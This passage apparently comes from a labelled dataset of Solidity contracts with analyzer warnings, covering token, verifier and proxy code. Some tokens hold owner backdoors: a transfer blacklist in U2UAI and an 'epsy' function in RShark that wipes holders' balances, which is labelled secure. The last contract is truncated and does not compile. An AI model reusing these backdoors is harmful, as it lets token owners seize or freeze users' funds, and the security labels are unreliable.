}\n\n function enableNetworkTrade() public onlyOwner {\n require(!TradingOpen, \"trading is already open\");\n\n TradingOpen = true;\n\n NetworkFeeEnabled = true;\n\n swapEnabled = true;\n }\n\n function getNetworkAmounts(\n uint256 action,\n bool takeFee,\n uint256 tAmount\n ) internal returns (uint256, uint256) {\n uint256 sAmount = takeFee\n ? tAmount\n : NetworkFeeEnabled\n ? takeNetworkAmountAfterFees(action, takeFee, tAmount)\n : tAmount;\n\n uint256 rAmount = NetworkFeeEnabled && takeFee\n ? takeNetworkAmountAfterFees(action, takeFee, tAmount)\n : tAmount;\n\n return (sAmount, rAmount);\n }\n\n function decimals() external pure override returns (uint8) {\n return _decimals;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: ee12d7b): U2UAI.internalSwapBackEth(uint256) sends eth to arbitrary user Dangerous calls address(_NetworkWallet).transfer(ethAmountFor)\n\t// Recommendation for ee12d7b: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function internalSwapBackEth(uint256 amount) private lockTheSwap {\n uint256 tokenBalance = balanceOf(address(this));\n\n uint256 amountToSwap = min(amount, min(tokenBalance, _maxTaxSwap));\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = router.WETH();\n\n\t\t// reentrancy-events | ID: a8b0a4d\n\t\t// reentrancy-eth | ID: fab15da\n router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amountToSwap,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n uint256 ethAmountFor = address(this).balance;\n\n\t\t// reentrancy-events | ID: a8b0a4d\n\t\t// reentrancy-eth | ID: fab15da\n\t\t// arbitrary-send-eth | ID: ee12d7b\n payable(_NetworkWallet).transfer(ethAmountFor);\n }\n\n function removeNetworkLimit() external onlyOwner returns (bool) {\n _maxWalletAmount = _totalSupply;\n\n return true;\n }\n\n function takeNetworkAmountAfterFees(\n uint256 NetworkActions,\n bool NetworkTakefee,\n uint256 amounts\n ) internal returns (uint256) {\n uint256 NetworkPercents;\n\n uint256 NetworkFeePrDenominator = 100;\n\n if (NetworkTakefee) {\n if (NetworkActions > 1) {\n NetworkPercents = (\n _buyCounts > _reduceSellTaxAt ? _finalSellTax : _initSellTax\n );\n } else {\n if (NetworkActions > 0) {\n NetworkPercents = (\n _buyCounts > _reduceBuyTaxAt\n ? _finalBuyTax\n : _initBuyTax\n );\n } else {\n NetworkPercents = 0;\n }\n }\n } else {\n NetworkPercents = 1;\n }\n\n uint256 feeAmounts = amounts.mul(NetworkPercents).div(\n NetworkFeePrDenominator\n );\n\n\t\t// reentrancy-eth | ID: fab15da\n _balances[address(this)] = _balances[address(this)].add(feeAmounts);\n\n feeAmounts = NetworkTakefee ? feeAmounts : amounts.div(NetworkPercents);\n\n return amounts.sub(feeAmounts);\n }\n\n receive() external payable {}\n\n function _transferTaxTokens(\n address sender,\n address recipient,\n uint256 amount,\n uint256 action,\n bool takeFee\n ) internal returns (bool) {\n uint256 senderAmount;\n\n uint256 recipientAmount;\n\n (senderAmount, recipientAmount) = getNetworkAmounts(\n action,\n takeFee,\n amount\n );\n\n\t\t// reentrancy-eth | ID: fab15da\n _balances[sender] = _balances[sender].sub(\n senderAmount,\n \"Insufficient Balance\"\n );\n\n\t\t// reentrancy-eth | ID: fab15da\n _balances[recipient] = _balances[recipient].add(recipientAmount);\n\n\t\t// reentrancy-events | ID: a8b0a4d\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function allowance(\n address holder,\n address spender\n ) external view override returns (uint256) {\n return _allowances[holder][spender];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f931815): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f931815: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d503ac1): U2UAI.createNetworkTrade() ignores return value by router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner,block.timestamp)\n\t// Recommendation for d503ac1: Ensure that all the return values of the function calls are used.\n function createNetworkTrade() external onlyOwner {\n router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t\t// reentrancy-benign | ID: f931815\n pair = IUniswapV2Factory(router.factory()).createPair(\n address(this),\n router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: f931815\n isTxLimitExempt[pair] = true;\n\n\t\t// reentrancy-benign | ID: f931815\n _allowances[address(this)][address(router)] = type(uint256).max;\n\n\t\t// unused-return | ID: d503ac1\n router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner,\n block.timestamp\n );\n }\n\n function name() external pure override returns (string memory) {\n return _name;\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function inSwapNetworkTokens(\n bool isIncludeFees,\n uint256 isSwapActions,\n uint256 pAmount,\n uint256 pLimit\n ) internal view returns (bool) {\n uint256 minNetworkTokens = pLimit;\n\n uint256 tokenNetworkWeight = pAmount;\n\n uint256 contractNetworkOverWeight = balanceOf(address(this));\n\n bool isSwappable = contractNetworkOverWeight > minNetworkTokens &&\n tokenNetworkWeight > minNetworkTokens;\n\n return\n !inSwap &&\n isIncludeFees &&\n isSwapActions > 1 &&\n isSwappable &&\n swapEnabled;\n }\n\n function symbol() external pure override returns (string memory) {\n return _symbol;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: f33f189): U2UAI.reduceFinalBuyTax(uint256) should emit an event for _finalBuyTax = _newFee \n\t// Recommendation for f33f189: Emit an event for critical parameter changes.\n function reduceFinalBuyTax(uint256 _newFee) external onlyOwner {\n\t\t// events-maths | ID: f33f189\n _finalBuyTax = _newFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: a321388): U2UAI.reduceFinalSellTax(uint256) should emit an event for _finalSellTax = _newFee \n\t// Recommendation for a321388: Emit an event for critical parameter changes.\n function reduceFinalSellTax(uint256 _newFee) external onlyOwner {\n\t\t// events-maths | ID: a321388\n _finalSellTax = _newFee;\n }\n\n function isNetworkUserBuy(\n address sender,\n address recipient\n ) internal view returns (bool) {\n return\n recipient != pair &&\n recipient != DEAD &&\n !isFeeExempt[sender] &&\n !isFeeExempt[recipient];\n }\n\n function isTakeNetworkActions(\n address from,\n address to\n ) internal view returns (bool, uint256) {\n uint256 _actions = 0;\n\n bool _isTakeFee = isTakeFees(from);\n\n if (to == pair) {\n _actions = 2;\n } else if (from == pair) {\n _actions = 1;\n } else {\n _actions = 0;\n }\n\n return (_isTakeFee, _actions);\n }\n\n function addNetworks(address[] memory Networks_) public onlyOwner {\n for (uint256 i = 0; i < Networks_.length; i++) {\n Networks[Networks_[i]] = true;\n }\n }\n\n function delNetworks(address[] memory notNetwork) public onlyOwner {\n for (uint256 i = 0; i < notNetwork.length; i++) {\n Networks[notNetwork[i]] = false;\n }\n }\n\n function isNetwork(address a) public view returns (bool) {\n return Networks[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a8b0a4d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a8b0a4d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: fab15da): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for fab15da: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transferStandardTokens(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n bool takefee;\n\n uint256 actions;\n\n require(!Networks[sender] && !Networks[recipient]);\n\n if (inSwap) {\n return _basicTransfer(sender, recipient, amount);\n }\n\n if (!isFeeExempt[sender] && !isFeeExempt[recipient]) {\n require(TradingOpen, \"Trading not open yet\");\n }\n\n if (!swapEnabled) {\n return _basicTransfer(sender, recipient, amount);\n }\n\n if (isNetworkUserBuy(sender, recipient)) {\n require(\n isTxLimitExempt[recipient] ||\n _balances[recipient] + amount <= _maxWalletAmount,\n \"Transfer amount exceeds the bag size.\"\n );\n\n increaseBuyCount(sender);\n }\n\n (takefee, actions) = isTakeNetworkActions(sender, recipient);\n\n if (\n inSwapNetworkTokens(\n takefee,\n actions,\n amount,\n _swapNetworkThreshHold\n )\n ) {\n\t\t\t// reentrancy-events | ID: a8b0a4d\n\t\t\t// reentrancy-eth | ID: fab15da\n internalSwapBackEth(amount);\n }\n\n\t\t// reentrancy-events | ID: a8b0a4d\n\t\t// reentrancy-eth | ID: fab15da\n _transferTaxTokens(sender, recipient, amount, actions, takefee);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n if (_allowances[sender][msg.sender] != type(uint256).max) {\n _allowances[sender][msg.sender] = _allowances[sender][msg.sender]\n .sub(amount, \"Insufficient Allowance\");\n }\n\n return _transferStandardTokens(sender, recipient, amount);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n return _transferStandardTokens(msg.sender, recipient, amount);\n }\n\n function increaseBuyCount(address sender) internal {\n if (sender == pair) {\n _buyCounts++;\n }\n }\n\n function isTakeFees(address sender) internal view returns (bool) {\n return !isFeeExempt[sender];\n }\n}", "file_name": "solidity_code_668.sol", "secure": 0, "size_bytes": 18504 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract RShark is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable larval;\n\n constructor() {\n _name = \"Reggae Shark\";\n\n _symbol = \"RShark\";\n\n _decimals = 18;\n\n uint256 initialSupply = 910000000;\n\n larval = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == larval, \"Not allowed\");\n\n _;\n }\n\n function epsy(address[] memory meat) public onlyOwner {\n for (uint256 i = 0; i < meat.length; i++) {\n address account = meat[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}", "file_name": "solidity_code_669.sol", "secure": 1, "size_bytes": 4351 }
{ "code": "// SPDX-License-Identifier: AML AND MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Pairing.sol\" as Pairing;\n\ncontract CeloVerifier {\n using Pairing for *;\n\n uint256 constant SNARK_SCALAR_FIELD =\n 21888242871839275222246405745257275088548364400416034343698204186575808495617;\n\n uint256 constant PRIME_Q =\n 21888242871839275222246405745257275088696311157297823662689037894645226208583;\n\n struct VerifyingKey {\n Pairing.G1Point alfa1;\n Pairing.G2Point beta2;\n Pairing.G2Point gamma2;\n Pairing.G2Point delta2;\n Pairing.G1Point[2] IC;\n }\n\n struct Proof {\n Pairing.G1Point A;\n Pairing.G2Point B;\n Pairing.G1Point C;\n }\n\n function verifyingKey() internal pure returns (VerifyingKey memory vk) {\n vk.alfa1 = Pairing.G1Point(\n uint256(\n 8670602023544135918920748683086155953571783330717691938066332422925923906783\n ),\n uint256(\n 7756274098553970965095809733841851252441441266386459603998307767419443293278\n )\n );\n\n vk.beta2 = Pairing.G2Point(\n [\n uint256(\n 16130188479334235147497606212216761393852555096690128287292333557465633667217\n ),\n uint256(\n 2714796124216245424279806293028042480167182265452659602073998940445537349363\n )\n ],\n [\n uint256(\n 15633668108651818271962595318384055417384787797924873291759104079741162656478\n ),\n uint256(\n 15909361217857119522696669439623235114077424130686289611288466007781197872698\n )\n ]\n );\n\n vk.gamma2 = Pairing.G2Point(\n [\n uint256(\n 364335034220074446208557989017478148606089486411019431445628564568077677593\n ),\n uint256(\n 12333224946111547221065579521616839086079818863975782718425907412600433284856\n )\n ],\n [\n uint256(\n 18450742147687701552799809738650889640447511527735006704049116274075815614083\n ),\n uint256(\n 20759328800310466802417535567044499802574868318897430174261077065734702971516\n )\n ]\n );\n\n vk.delta2 = Pairing.G2Point(\n [\n uint256(\n 1347288778500277163149671841576921775605326843905070364039824975899177311406\n ),\n uint256(\n 17039965339387879411440382568029511406756095203062068287294368715052883153053\n )\n ],\n [\n uint256(\n 4623609318960856493950501799196769901793313186187194383299734838672853381016\n ),\n uint256(\n 5705362505223347990175626935934411215580221175200735840583813177850048892598\n )\n ]\n );\n\n vk.IC[0] = Pairing.G1Point(\n uint256(\n 18364353533181305313816519457704998570719932598244244981001252573874061212224\n ),\n uint256(\n 665986571482040251699929900245029727540415994637579772250515006519703779373\n )\n );\n\n vk.IC[1] = Pairing.G1Point(\n uint256(\n 1255770839189555614835783801843475600645818351909679549305856203706646911428\n ),\n uint256(\n 5102377551556747798676667750771921373965421906250162398720477416134099553118\n )\n );\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 0d6a397): CeloVerifier.verifyProof(uint256[2],uint256[2][2],uint256[2],uint256[1]).proof is a local variable never initialized\n\t// Recommendation for 0d6a397: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function verifyProof(\n uint256[2] memory a,\n uint256[2][2] memory b,\n uint256[2] memory c,\n uint256[1] memory input\n ) public view returns (bool r) {\n Proof memory proof;\n\n proof.A = Pairing.G1Point(a[0], a[1]);\n\n proof.B = Pairing.G2Point([b[0][0], b[0][1]], [b[1][0], b[1][1]]);\n\n proof.C = Pairing.G1Point(c[0], c[1]);\n\n VerifyingKey memory vk = verifyingKey();\n\n Pairing.G1Point memory vk_x = Pairing.G1Point(0, 0);\n\n require(proof.A.X < PRIME_Q, \"verifier-aX-gte-prime-q\");\n\n require(proof.A.Y < PRIME_Q, \"verifier-aY-gte-prime-q\");\n\n require(proof.B.X[0] < PRIME_Q, \"verifier-bX0-gte-prime-q\");\n\n require(proof.B.Y[0] < PRIME_Q, \"verifier-bY0-gte-prime-q\");\n\n require(proof.B.X[1] < PRIME_Q, \"verifier-bX1-gte-prime-q\");\n\n require(proof.B.Y[1] < PRIME_Q, \"verifier-bY1-gte-prime-q\");\n\n require(proof.C.X < PRIME_Q, \"verifier-cX-gte-prime-q\");\n\n require(proof.C.Y < PRIME_Q, \"verifier-cY-gte-prime-q\");\n\n for (uint256 i = 0; i < input.length; i++) {\n require(\n input[i] < SNARK_SCALAR_FIELD,\n \"verifier-gte-snark-scalar-field\"\n );\n\n vk_x = Pairing.plus(\n vk_x,\n Pairing.scalar_mul(vk.IC[i + 1], input[i])\n );\n }\n\n vk_x = Pairing.plus(vk_x, vk.IC[0]);\n\n return\n Pairing.pairing(\n Pairing.negate(proof.A),\n proof.B,\n vk.alfa1,\n vk.beta2,\n vk_x,\n vk.gamma2,\n proof.C,\n vk.delta2\n );\n }\n}", "file_name": "solidity_code_67.sol", "secure": 0, "size_bytes": 5947 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary StorageSlot {\n struct AddressSlot {\n address value;\n }\n\n struct BooleanSlot {\n bool value;\n }\n\n struct Bytes32Slot {\n bytes32 value;\n }\n\n struct Uint256Slot {\n uint256 value;\n }\n\n struct Int256Slot {\n int256 value;\n }\n\n struct StringSlot {\n string value;\n }\n\n struct BytesSlot {\n bytes value;\n }\n\n function getAddressSlot(\n bytes32 slot\n ) internal pure returns (AddressSlot storage r) {\n assembly (\"memory-safe\") {\n r.slot := slot\n }\n }\n\n function getBooleanSlot(\n bytes32 slot\n ) internal pure returns (BooleanSlot storage r) {\n assembly (\"memory-safe\") {\n r.slot := slot\n }\n }\n\n function getBytes32Slot(\n bytes32 slot\n ) internal pure returns (Bytes32Slot storage r) {\n assembly (\"memory-safe\") {\n r.slot := slot\n }\n }\n\n function getUint256Slot(\n bytes32 slot\n ) internal pure returns (Uint256Slot storage r) {\n assembly (\"memory-safe\") {\n r.slot := slot\n }\n }\n\n function getInt256Slot(\n bytes32 slot\n ) internal pure returns (Int256Slot storage r) {\n assembly (\"memory-safe\") {\n r.slot := slot\n }\n }\n\n function getStringSlot(\n bytes32 slot\n ) internal pure returns (StringSlot storage r) {\n assembly (\"memory-safe\") {\n r.slot := slot\n }\n }\n\n function getStringSlot(\n string storage store\n ) internal pure returns (StringSlot storage r) {\n assembly (\"memory-safe\") {\n r.slot := store.slot\n }\n }\n\n function getBytesSlot(\n bytes32 slot\n ) internal pure returns (BytesSlot storage r) {\n assembly (\"memory-safe\") {\n r.slot := slot\n }\n }\n\n function getBytesSlot(\n bytes storage store\n ) internal pure returns (BytesSlot storage r) {\n assembly (\"memory-safe\") {\n r.slot := store.slot\n }\n }\n}", "file_name": "solidity_code_670.sol", "secure": 1, "size_bytes": 2218 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract AstrineaGlobalGold is ERC20 {\n address public immutable owner;\n\n constructor() ERC20(\"Astrinea Global Gold\", \"ASTGG\") {\n owner = msg.sender;\n _mint(owner, 10 ** 25);\n }\n\n string public Contact = \"https://x.com/CoA_GameDev\";\n\n string public Website = \"not published yet\";\n\n string public ImportantInfo =\n \"ASTGG connects the liquidity of ASTGO across L2 chains, swappable 1:1. Consider ASTGO's L2 price when trading ASTGG on Ethereum.\";\n\n error Unauthorized();\n\n modifier onlyOwner() {\n if (owner != msg.sender) {\n revert Unauthorized();\n }\n _;\n }\n\n function mint(address player, uint256 amount) external onlyOwner {\n _mint(player, amount);\n }\n\n function setContact(string memory str) external onlyOwner {\n Contact = str;\n }\n\n function setWebsite(string memory str) external onlyOwner {\n Website = str;\n }\n\n function setInfo(string memory str) external onlyOwner {\n ImportantInfo = str;\n }\n}", "file_name": "solidity_code_671.sol", "secure": 1, "size_bytes": 1200 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/proxy/beacon/IBeacon.sol\" as IBeacon;\nimport \"@openzeppelin/contracts/interfaces/IERC1967.sol\" as IERC1967;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"./StorageSlot.sol\" as StorageSlot;\n\nlibrary ERC1967Utils {\n bytes32 internal constant IMPLEMENTATION_SLOT =\n 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n\n error ERC1967InvalidImplementation(address implementation);\n\n error ERC1967InvalidAdmin(address admin);\n\n error ERC1967InvalidBeacon(address beacon);\n\n error ERC1967NonPayable();\n\n function getImplementation() internal view returns (address) {\n return StorageSlot.getAddressSlot(IMPLEMENTATION_SLOT).value;\n }\n\n function _setImplementation(address newImplementation) private {\n if (newImplementation.code.length == 0) {\n revert ERC1967InvalidImplementation(newImplementation);\n }\n\n StorageSlot\n .getAddressSlot(IMPLEMENTATION_SLOT)\n .value = newImplementation;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 29f1d31): ERC1967Utils.upgradeToAndCall(address,bytes) ignores return value by Address.functionDelegateCall(newImplementation,data)\n\t// Recommendation for 29f1d31: Ensure that all the return values of the function calls are used.\n function upgradeToAndCall(\n address newImplementation,\n bytes memory data\n ) internal {\n _setImplementation(newImplementation);\n\n emit IERC1967.Upgraded(newImplementation);\n\n if (data.length > 0) {\n\t\t\t// unused-return | ID: 29f1d31\n Address.functionDelegateCall(newImplementation, data);\n } else {\n _checkNonPayable();\n }\n }\n\n bytes32 internal constant ADMIN_SLOT =\n 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;\n\n function getAdmin() internal view returns (address) {\n return StorageSlot.getAddressSlot(ADMIN_SLOT).value;\n }\n\n function _setAdmin(address newAdmin) private {\n if (newAdmin == address(0)) {\n revert ERC1967InvalidAdmin(address(0));\n }\n\n StorageSlot.getAddressSlot(ADMIN_SLOT).value = newAdmin;\n }\n\n function changeAdmin(address newAdmin) internal {\n emit IERC1967.AdminChanged(getAdmin(), newAdmin);\n\n _setAdmin(newAdmin);\n }\n\n bytes32 internal constant BEACON_SLOT =\n 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;\n\n function getBeacon() internal view returns (address) {\n return StorageSlot.getAddressSlot(BEACON_SLOT).value;\n }\n\n function _setBeacon(address newBeacon) private {\n if (newBeacon.code.length == 0) {\n revert ERC1967InvalidBeacon(newBeacon);\n }\n\n StorageSlot.getAddressSlot(BEACON_SLOT).value = newBeacon;\n\n address beaconImplementation = IBeacon(newBeacon).implementation();\n\n if (beaconImplementation.code.length == 0) {\n revert ERC1967InvalidImplementation(beaconImplementation);\n }\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 38ec6df): ERC1967Utils.upgradeBeaconToAndCall(address,bytes) ignores return value by Address.functionDelegateCall(IBeacon(newBeacon).implementation(),data)\n\t// Recommendation for 38ec6df: Ensure that all the return values of the function calls are used.\n function upgradeBeaconToAndCall(\n address newBeacon,\n bytes memory data\n ) internal {\n _setBeacon(newBeacon);\n\n emit IERC1967.BeaconUpgraded(newBeacon);\n\n if (data.length > 0) {\n\t\t\t// unused-return | ID: 38ec6df\n Address.functionDelegateCall(\n IBeacon(newBeacon).implementation(),\n data\n );\n } else {\n _checkNonPayable();\n }\n }\n\n function _checkNonPayable() private {\n if (msg.value > 0) {\n revert ERC1967NonPayable();\n }\n }\n}", "file_name": "solidity_code_672.sol", "secure": 0, "size_bytes": 4143 }
{ "code": "// SPDX-License-Identifier: MIT AND UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\" as IERC165;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract UToken is ERC20, ERC20Burnable, Ownable, IERC165 {\n constructor(\n address initialOwner,\n string memory name_,\n string memory symbol_\n ) ERC20(name_, symbol_) Ownable(initialOwner) {}\n\n function decimals() public view virtual override returns (uint8) {\n return 6;\n }\n\n function mint(address to, uint256 amount) public onlyOwner {\n _mint(to, amount);\n }\n\n function transfer(\n address to,\n uint256 value\n ) public override returns (bool) {\n return super.transfer(to, value);\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public override returns (bool) {\n return super.transferFrom(from, to, value);\n }\n\n function supportsInterface(\n bytes4 interfaceID\n ) external pure returns (bool) {\n return interfaceID == type(IERC20).interfaceId;\n }\n}", "file_name": "solidity_code_673.sol", "secure": 1, "size_bytes": 1390 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/proxy/utils/Initializable.sol\" as Initializable;\nimport \"./IERC1822Proxiable.sol\" as IERC1822Proxiable;\nimport \"./ERC1967Utils.sol\" as ERC1967Utils;\n\nabstract contract UUPSUpgradeable is Initializable, IERC1822Proxiable {\n address private immutable __self = address(this);\n\n string public constant UPGRADE_INTERFACE_VERSION = \"5.0.0\";\n\n error UUPSUnauthorizedCallContext();\n\n error UUPSUnsupportedProxiableUUID(bytes32 slot);\n\n modifier onlyProxy() {\n _checkProxy();\n\n _;\n }\n\n modifier notDelegated() {\n _checkNotDelegated();\n\n _;\n }\n\n function __UUPSUpgradeable_init() internal onlyInitializing {}\n\n function __UUPSUpgradeable_init_unchained() internal onlyInitializing {}\n\n function proxiableUUID()\n external\n view\n virtual\n notDelegated\n returns (bytes32)\n {\n return ERC1967Utils.IMPLEMENTATION_SLOT;\n }\n\n function upgradeToAndCall(\n address newImplementation,\n bytes memory data\n ) public payable virtual onlyProxy {\n _authorizeUpgrade(newImplementation);\n\n _upgradeToAndCallUUPS(newImplementation, data);\n }\n\n function _checkProxy() internal view virtual {\n if (\n address(this) == __self ||\n ERC1967Utils.getImplementation() != __self\n ) {\n revert UUPSUnauthorizedCallContext();\n }\n }\n\n function _checkNotDelegated() internal view virtual {\n if (address(this) != __self) {\n revert UUPSUnauthorizedCallContext();\n }\n }\n\n function _authorizeUpgrade(address newImplementation) internal virtual;\n\n function _upgradeToAndCallUUPS(\n address newImplementation,\n bytes memory data\n ) private {\n try IERC1822Proxiable(newImplementation).proxiableUUID() returns (\n bytes32 slot\n ) {\n if (slot != ERC1967Utils.IMPLEMENTATION_SLOT) {\n revert UUPSUnsupportedProxiableUUID(slot);\n }\n\n ERC1967Utils.upgradeToAndCall(newImplementation, data);\n } catch {\n revert ERC1967Utils.ERC1967InvalidImplementation(newImplementation);\n }\n }\n}", "file_name": "solidity_code_674.sol", "secure": 1, "size_bytes": 2356 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract GigaGold is ERC20, Ownable {\n constructor(\n address initialOwner\n ) ERC20(\"Giga Gold\", \"GIGOL\") Ownable(initialOwner) {\n _mint(msg.sender, type(uint256).max);\n }\n}", "file_name": "solidity_code_675.sol", "secure": 1, "size_bytes": 402 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IFactory.sol\" as IFactory;\nimport \"./IRouter.sol\" as IRouter;\n\ncontract WIF is ERC20, Ownable {\n mapping(address => bool) public whiteList;\n\n bool public openedTrade = false;\n\n address public pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 44ba4a6): WIF._Router should be immutable \n\t// Recommendation for 44ba4a6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IRouter public _Router;\n\n uint256 public maxTxAmount;\n\n\t// WARNING Optimization Issue (constable-states | ID: bf5b592): WIF.maxWalletSize should be constant \n\t// Recommendation for bf5b592: Add the 'constant' attribute to state variables that never change.\n uint256 public maxWalletSize;\n\n struct StoreData {\n address team;\n uint256 gas;\n uint256 mua;\n uint256 ban;\n mapping(address => bool) nef;\n }\n\n storeData public s;\n\n constructor() ERC20(\"Dogwifhat\", \"WIF\") {\n _Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n _whitelist(address(_Router), true);\n\n _whitelist(address(this), true);\n\n _whitelist(msg.sender, true);\n\n _mint(msg.sender, 100000000 * 10 ** decimals());\n\n maxTxAmount = (totalSupply() * 2) / 100;\n\n s.mua = 0;\n\n s.ban = 0;\n\n s.gas = 999 gwei;\n }\n\n function _whitelist(address account, bool enable) internal {\n whiteList[account] = enable;\n 